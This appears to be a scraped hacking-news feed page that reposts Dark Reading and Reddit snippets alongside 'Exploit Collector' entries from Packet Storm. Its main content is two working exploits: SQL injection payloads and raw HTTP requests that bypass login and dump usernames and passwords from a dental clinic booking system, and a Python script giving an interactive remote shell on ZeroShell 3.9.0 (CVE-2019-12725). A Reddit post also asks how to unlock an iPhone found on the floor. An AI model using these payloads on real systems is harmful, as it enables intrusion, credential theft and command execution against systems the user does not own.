Dark Reading: Attacks/Breaches
Defending the Castle: How World History Can Teach Cybersecurity a Lesson

Cybersecurity attackers follow the same principles practiced in warfare for millennia. They show up in unexpected places, seeking out portions of an organization's attack surface that are largely unmonitored and undefended.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Relation between teraflops and brute force

I would want to know if there is a way to calculate the time required for brute forcing 10 alphanumeric characters(62) related to the teraflops needed. As i can not find much useful resources I am asking directly here.

submitted by /u/7arbod
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Unblocking iphone12?

Can someone please help me unblocking an iphone12 that i found on the floor? Is this even possible without any acess to Itunes or Icloud?

submitted by /u/thatguy3333333
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Dental Clinic Appointment Reservation System 1.0 SQL Injection

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Dental Clinic Appointment Reservation System version 1.0 suffers from multiple remote SQL injection vulnerabilities with one of them allowing for authentication bypass.

MD5 | 590039c72fd98d00add5038df52eb7a0

Download
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# Attacker can bypass admin login page due to unsanitized user input and access internal contents
# vulnerable code in /admin/index.php, line 34:
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
# payload: admin' or '1' = '1 -- -

# Proof of concept:
http://localhost/admin/index.php

POST /admin/index.php HTTP/1.1
Host: localhost
Content-Length: 54
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

username=admin'+or+'1'%3d1+--+-&password=test&submit=

------
# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated)
# Date: 12.05.2021
# Exploit Author: Mesut Cetin
# Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code
# Version: 1.0
# Tested on: Ubuntu 18.04 TLS

# Description:
# the 'date' POST parameter is vulnerable to UNION-based SQL Injection
# Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc.
# payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- -

# Proof of concept:
http://localhost/admin/sort_date.php

POST /admin/sort_date.php HTTP/1.1
Host: localhost
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/admin/sort_date.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p
dnt: 1
sec-gpc: 1
Connection: close

date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ScadaBR 1.0 / 1.1CE Linux Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ZeroShell 3.9.0 Remote Command Execution

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
ZeroShell version 3.9.0 remote command execution exploit.

MD5 | 6136d89b624e83529112cda72e8b9e5e

Download
# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution
# Google Dork: N/A
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://target-uri/')
print('[+] Example help usage: exploit.py -h')
exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
try:
check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
if check.status_code == 200:
flag = True
print('[+] ZeroShell 3.9.0 Remote Command Execution')
time.sleep(1)
print('[+] Success connect to target')
time.sleep(1)
print('[+] Trying to execute command in ZeroShell OS...\n')
time.sleep(1)
check.raise_for_status()

while flag:
cmd = raw_input("$ ")
payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
uri_vuln = uri_zeroshell + payload
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
res = session.get(uri_vuln, headers=burp0_headers, verify=False)
print(res.text[:res.text.rindex("") / 2])

except requests.exceptions.ConnectionError as err:
print('[x] Failed to Connect in: '+uri_zeroshell+' ')
print('[x] This host seems to be Down')
exit()
except requests.exceptions.HTTPError as conn:
print('[x] Failed to execute command in: '+uri_zeroshell+' ')
print('[x] This host does not appear to be a ZeroShell')
exit()

command()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Firefox 72 IonMonkey JIT Type Confusion

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Internet Explorer jscript9.dll Memory Corruption

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Internet Explorer 8/11 Use-After-Free

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ScadaBR 1.0 / 1.1CE Windows Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenPLC WebServer 3 Remote Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BrightScan #ThreatIntelThursday | Man in the Middle (MiTM) Attacks ☎ — ! — ☎

https://cdn-images-1.medium.com/max/1920/1*md1DB8TPkm65UzKxhQI1WA.png
By: Ted Udelson

Continue reading on OpenAVN »

___________________________
@hacking_Attack
@Hacking_Video